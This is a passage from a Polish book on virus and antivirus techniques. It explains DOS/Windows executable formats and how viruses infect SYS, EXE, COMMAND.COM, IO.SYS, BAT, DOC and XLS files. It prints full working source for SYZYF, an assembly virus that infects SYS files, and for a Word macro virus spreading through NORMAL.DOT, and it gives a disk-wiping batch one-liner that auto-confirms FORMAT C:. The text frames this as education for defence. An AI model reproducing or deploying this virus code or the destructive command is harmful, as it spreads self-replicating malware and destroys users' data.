Windows lub OS/2 1.x, z podziałem na segmenty

LE

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable)

LX

Wariant LE, używany przez OS/2 2.x

W3

Plik WIN386.EXE dla Windows; kolekcja plików LE

PE

Windows NT lub Win32s (Portable Executable)

DL

HP 100LX/200LX (Pliki *.EXM)

MP

Stare pliki PharLap (pliki *.EXP)

P2

PharLap 286 (pliki *.EXP)

P3

PharLap 386 (pliki *.EXP)



4.1.2.2.1. Pliki EXE dla Windows (NE)

W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.

Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.


Format nagłówka plików nowy EXE (NE) dla Windows

Adres

Zawartość

00-01

znacznik pliku, bajty 'NE'

02-03

numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej znacząca część)

04-05

offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest następujący 00 liczba wejść (00, jeżeli koniec listy)

01 numer segmentu (00, jeżeli koniec listy)

02 pierwszy rekord

05 drugi rekord

.........

Każdy rekord ma format

00 flagi:

bit 0: EXPORTED

bit 1: SINGLE DATA

bity 2-7: nie używane

01-02 ofset w segmencie

06-07

długość (w bajtach) tablicy wejść

08-0B

kod korekcyjny (CRC) pliku

0C

flagi programu; znaczenie poszczególnych bitów

0-1 DGROUP

0 = nie ma

1 = SINGLE SHARED

2 = MULTIPLE (UNSHARED)

3 = (NULL)

2 bit globalnej inicjalizacji

3 program tylko dla trybu chronionego

4 program zawiera instrukcje 8086

5 program zawiera instrukcje 80286

6 program zawiera instrukcje 80386

7 program zawiera instrukcje 80x87

0D

flagi aplikacji; znaczenie poszczególnych bitów:

0-2 typ aplikacji

001 pełnoekranowa (bez Windows AP! dla trybu chronionego)

010 kompatybilna z Windows API dla trybu chronionego

011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2

5 0=wykonywalna, 1=błędy w obrazie pliku

6 niezgodny typ programu (stos nie jest zachowywany)

7 plik DLL lub sterownik

(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 poprawna inicjalizacja)

0E-0F

indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej

12-13

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS

14-17

wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów

18-1B

daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną

1C-1D

ilość segmentów 1 E-1 F ilość odwołań do modułów

20-21

długość (w bajtach) nierezydentnej tablicy nazw

22-23

offset względem początku nagłówka do tablicy segmentów, składającej się z rekordów o formacie (pierwszy rekord ma numer 1):

00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3

nagłówka, aby uzyskać adres w bajtach)

02-03 długość obrazu pliku (0000h=64K)

04-05 atrybuty segmentu

0 segment danych

1 nie używane

2 REALMODE

3 ITERATED

4 MOVABLE

5 SHARABLE

6 PRELOADED

7 EXECUTE-CODE (kod) lub READ-ONLY (dane)

8 relokacje (bezpośrednio po kodzie w segmencie)

9 istnieją informacje dla debuggera

10,11 bity DPL dla 80286

12 DISCARDABLE

13-15 DISCARD PRIORITY

06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K)

24-25

offset względem początku nagłówka do tablicy zasobów

26-27

offset względem początku nagłówka do tablicy nazw rezydentnych

28-29

offset względem początku nagłówka do tablicy odwołań do modułów

2A-2B

offset względem początku nagłówka do tablicy nazw importowanych (tablica łańcuchów typu string, zakończona łańcuchem o długości 0)

2C-2F

offset względem początku nagłówka do tablicy nazw nierezydentnych

30-31

ilość ruchomych punktów wejściowych zawartych w tablicy wejść

32-33

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)

34-35

ilość wejść do tablic zasobów

36

docelowy system operacyjny

00h nieznany

01h OS/2

02h Windows

03h Europejska wersja MS-DOS 4.x

04h Windows 386

05h BOSS (Borland Operating System Services)

81h PharLap 286IDOS-Extender, OS/2

82h PharLap 286IDOS-Extender, Windows

37

dodatkowe flagi programu

0 używa długich nazw plików

1 tryb chroniony 2.X

2 proporcjonalna czcionka 2.X

3 0=gangload: nie ma, 1=gangload: jest

38-39

offset do strefy gangload

3A-3B

offset do segmentu odwołańi do strefy gangload

3C-3D

minimalny rozmiar kodu wymienialnego

3E-3F

spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, bardziej znacząca część jako druga)

Format tablicy relokacji pliku nowy EXE (NE) dla Windows

Adres

Zawartość

00-01

ilość rekordów w tablicy relokacji

02

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format:

00 typ rekordu

00 LOBYTE

02 BASE

03 PTR

05 OFFS

0B PTR48

0D OFFS32 01 flagi rekordu

bit 2: addytywny 02-03 offset w segmencie

04-05 docelowy adres segmentu

06-07 docelowy adres offsetu






Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows

Adres

Zawartość

00-01

Wartość przesunięcia do dopasowania

02

Kolejne rekordy zasobów o formacie:

00-01 identyfikator

0000 koniec rekordów

>= 8000h typ INTEGER

w przeciwnym wypadku offset względem początku zasobów

do łańcucha

02-03 ilość zasobów danego typu

04-07 zarezerwowane

08 początek zasobów



Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows

00-01

ofset (w dopasowanych jednostkach) do zawartości zasobów

02-03

rozmiar zasobów w bajtach

04-05

flagi zasobów

bit 4: MOVEABLE

bit5:SHAREABLE

bit 6: PRELOADED

06-07

typ zasobów;

=8000 zasoby typu Integer

08-0B

zarezerwowane


Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa

Adres

Zawartość

00

ilość rekordów w paczce (0=koniec tablicy)

01

znacznik segmentu:

00 nie używany FF MOVEABLE lub FIXED

02

kolejne rekordy, każdy o formacie:

00 flagi

bit 0: wejście jest eksportowane

bit 1: wejście używa globalnych (współużywalnych) danych

bity 7-3: ilość stów parametrów dla segmentu FIXED

01-02 ofset dla segmentu MOVEABLE

01-02 INT 3F (kod instrukcji: CDh 3Fh)

03 numer segmentu

05-06 ofset


Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla

Adres

Zawartość

00

długość łańcucha (00=koniec tablicy)

01-N

łańcuch ASCII

N+1-N+2

numer porządkowy w tablicy


Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.

Wygląd niezainfekowanego pliku NE dla Windows

Zawartość pliku

program STUB dla DOS

Nagłówek programu STUB

Kod programu STUB

właściwy program dla Windows:

Nagłówek NE

Tablica segmentów

Tablice z danymi o zasobach

Kod programu dla Windows


Wygląd zainfekowanego pliku NE dla Windows

Zawartość pliku

program STUB dla DOS

Nagłówek programu STUB

Zmniejszony kod programu STUB

właściwy program dla Windows zarażony wirusem:

Nagłówek NE, cofnięty względem oryginalnej pozycji

Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujący na kod wirusa (na końcu pliku)

Tablice z danymi o zasobach

Kod programu dla Windows

Kod wirusa


4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)

Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).

Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.

Zawartość pliku SYS

Zawartość

Nagłówek pliku SYS (patrz następna tabela)

Kod sterownika


Format nagłówka pliku SYS

00-03

Wskaźnik do następnego programu obsługi urządzenia, standardowo == 0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres kolejnego sterownika w pliku.

04-05

Atrybuty urządzenia, informują o przeznaczeniu sterownika

06-07

Adres procedury strategii (względem początku nagłówka). Procedura strategii służy do odebrania pakietu zlecenia od systemu DOS.

08-09

Adres procedury przerwania (względem początku nagłówka), która na podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje odpowiednie czynności,

0A-0F

Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).


Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu programowi obsługi.

Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.

Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.

Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)

Zawartość pliku

Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania

Kod sterownika

Kod wirusa


Zainfekowany plik SYS (drugi fałszywy sterownik)

Zawartość pliku

Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego sterownika w pliku

Kod sterownika

Nagłówek fałszywego sterownika (wirusa)

Kod wirusa


Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.

;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prosty wirus nierezydentny plikow SYS ;

; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

; znajdujace sie w biezacym katalogu ;

; ;

; Kompilacja : ;

; TASM SYZYF.ASM ;

; TLINK SYZYF.OBJ ;

; MAKESYS SYZYF.EXE ;

; ;

;----------------------------------------------------------------------------;

SYZYF SEGMENT

JUMPS

ASSUME CS:SYZYF, DS:SYZYF

ORG 0000h ; SYS nie potrzebuje PSP


NUL = 00h ; \

LF = 0Ah ; - stale znakow

CR = 0Dh ; / ASCII


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu


VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 dup (?) ; nazwa znalezionej pozycji

DTAStruc ends


NAGL struc

NAGLAdres dd ? ; Adres nastepnego sterownika

NAGLAtrybut dw ? ; atrybuty sterownika

NAGLStrategia dw ? ; adres obslugi strategii

NAGLPrzerwanie dw ? ; adres obslugi przerwania

NAGLNazwa db 8 dup(?) ; nazwa sterownika

NAGL ends


Start:

SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>

; tu jest naglowek


VirusStart: ; tu zaczyna sie kod wirusa


ProceduraPrzerwania:

push ax ; \

push bx ; \

push cx ; \ zachowaj

push dx ; \ zmieniane

push si ; / rejestry

push di ; /

push ds ; /

push es ; /


Call Trik

Trik:

pop si

sub si,offset Trik


push cs ; \ DS=CS

pop ds ; /


mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela

mov [si][SkokIP],ax

mov [si][SkokCS],cs


lea dx,[si][TeInformacja] ; podaj gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa


jnc Infekcja ; gdy CF=1, nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj


Infekcja:

mov ah,2Fh ; funkcja DOS - pobierz adres DTA

int 21h ; wywolaj funkcje DOS

mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny adres DTA,

mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic


lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc NieMaPlikuSYS ; gdy CF=1, to blad



KolejnyPlik:

cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepny


mov ax,word ptr [si][NoweDTA.DTASize+2]

; pobierz starsza czesc dlugosci

; pliku

or ax,ax ; czy plik krotszy niz 65536 ?

jnz SzukajNastepnyPlik ; nie - szukaj nastepnego


mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku

cmp ax,64000 ; czy dlugosc <= 64000 ?

ja SzukajNastepnyPlik ; nie - szukaj nastepnego


mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov cx,size NAGL ; ilosc czytanych bajtow

lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov ax,word ptr [si][CzytNagl.NaglAdres]

; wez 4 bajty z pliku do AX i DX

mov dx,word ptr [si][CzytNagl.NaglAdres+2]


cmp ax,0FFFFh ; czy AX=0FFFFh ?

jne ZamknijPlik ; NIE - szukaj innego plik


cmp ax,dx ; czy AX=DX=0FFFFh ?

jne ZamknijPlik ; NIE - szukaj inny plik

; TAK - na poczatku pliku jest

; 0FFFFFFFFh


mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]

mov [si][StarePrzerwanie],ax ; wez adres przerwania


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov [si][CzytNAGL.NaglPrzerwanie],ax


mov cx,VirusDlug ; ilosc zapisywanych bajtow

lea dx,[si][VirusStart] ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


xor cx,cx ; \ CX:DX zawieraja

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1 to blad


mov cx,size NAGL ; ilosc zapisywanych bajtow

lea dx,[si][CzytNAGL] ; podaj skad zapisac

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS


PrzywrocAtrybut:

mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut

mov ch,0 ; CX=CL

lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS


SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; pliku SYS

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad



NieMaPlikuSYS:

lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA

mov ah,1Ah ; funkcja DOS - ustaw nowe DTA

int 21h ; wywolaj funkcje DOS


BezInfekcji:


pop es ; \

pop ds ; \

pop di ; \ przywroc

pop si ; \ zmieniane

pop dx ; / rejestry

pop cx ; /

pop bx ; /

pop ax ; /


db 0EAh ; powrot do nosiciela

SkokIP dw ?

SkokCS dw ?


MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)


; Czesc Informayjna ; wyswietla pytanie do uzytkownika

Informacja: ; czy chce uruchomic wirusa

push ax si

cld

mov si,dx

NastepnyZnak:

lods byte ptr cs:[si] ; kolejny znak komunikatu

or al,al ; czy koniec tekstu ?

jz InformacjaTxtOK ; TAK - koniec pisania


mov ah,0Eh ; pisz znak z AL

int 10h ;


jmp short NastepnyZnak


InformacjaTxtOK:


mov ah,0

int 16h


and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

pop si ax

ret ; powrot


TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db CR,LF,NUL

StarePrzerwanie dw offset Nosiciel


VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>

DTASegOfs dd ?

CzytNagl NAGL <>



ProceduraStrategii: ; na wejsciu ES:BX adres

; do pakietu zlecenia

mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i zachowaj

mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej


retf ; powrot z procedury

; strategii


AdresZlecenia dd ?


Nosiciel:

push ds ax bx


lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu

; zlecenia


xor ax,ax ;

mov word ptr ds:[bx+0Eh],ax ;

mov word ptr ds:[bx+10h],cs ;

mov byte ptr ds:[bx+0Dh],1 ;

mov word ptr ds:[bx+03h],8102h ;



pop bx ax ds

retf


SYZYF ENDS

END Start


4.1.4. Pliki systemowe DOS

4.1.4.1. Interpretator poleceń

Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po znalezieniu od razu go infekują.

Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku niezmienioną (pomimo zmienionej zawartości).

4.1.4.2. Jądro systemu (ang. kernel infector)

Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku IO.SYS nadpisują swój kod. Po starcie systemu

program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego sterowanie.

4.1.5. Pliki wsadowe BAT

Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:

> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/

REM, RD, REN, SET, SHIFT, TYPE;

> parametry wejściowe: %0 nazwa programu, %1-%9 parametry

programu;

> operatory zmiany przyporządkowania strumieni wejściowych i

wyjściowych: <, >, », |;

> nazwy zarezerwowane przez system DOS: urządzenie NUL;

> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,

FIND, FORMAT; sterownik ANSI.SYS;

> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod

maszynowy (opisane w jednym z poprzednich rozdziałów).


Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!

Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.

Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie sformatowany.

ECHO Y | FORMAT C: NUL

Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt miłymi konsekwencjami.


4.1.6. Pliki DOC

Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub zamykanego dokumentu.

Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany (zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może zawierać w sobie definicji makr.

Makra MS Word o ustalonym znaczeniu

Nazwa makra

Opis makra

AutoExec

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT

AutoNew

uruchamiane podczas tworzenia nowego dokumentu

AutoOpen

uruchamiane podczas otwierania dokumentu

AutoClose

uruchamiane podczas zamykania dokumentu

AutoExit

uruchamiane podczas kończenia pracy z Wordem


Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).

Zawartość makra: AutoOpen

Sub MAIN

On Error Goto AutoOpen_Error

Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,

Autor Adam B│aszczyk"

Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaµ ?" TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen",

"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",

"Globalne:FileSave"

MsgBox "Wirus dopisa│ siÛ do NORMAL.DOT, Sam tego chcia│e£ !!!", Tyt$, 64

End If AutoOpen_Error:

End Sub

Zawartość makra: FileSave

Sub MA1N FileSave On Error Goto FileSave_Error

Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,

Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaµ '" + WindowName$() + "'

makrowirusem ?"

TiN = 256 +48+4

Prz = MsgBox(Uwg$, Tyt$, TiN)

If (Prz = - 1) Then

MacroCopy "Globalne:AutoOpen", WindowName$() +

":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +

":FileSave" FileSaveAs .Format - l

Tek$ = "Wirus dopisa│ siÛ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave

End lf

rem fileSave

FileSave_Error:

End Sub

Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla innych języków zmieniają się nazwy procedur oraz szablonów).

Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze zawartości takich makr.


4.1.7. Pliki XLS

Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.

Makra MS Excela o ustalonym znaczeniu

Nazwa makra

Opis makra

auto_open

uruchamiane podczas rozpoczynania pracy z Excelem

auto_close

uruchamiane podczas zamykania arkusza


4.1.8. Pliki ASM

Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do zarażanego programu.

Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w efekcie niszczącego pliki).


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

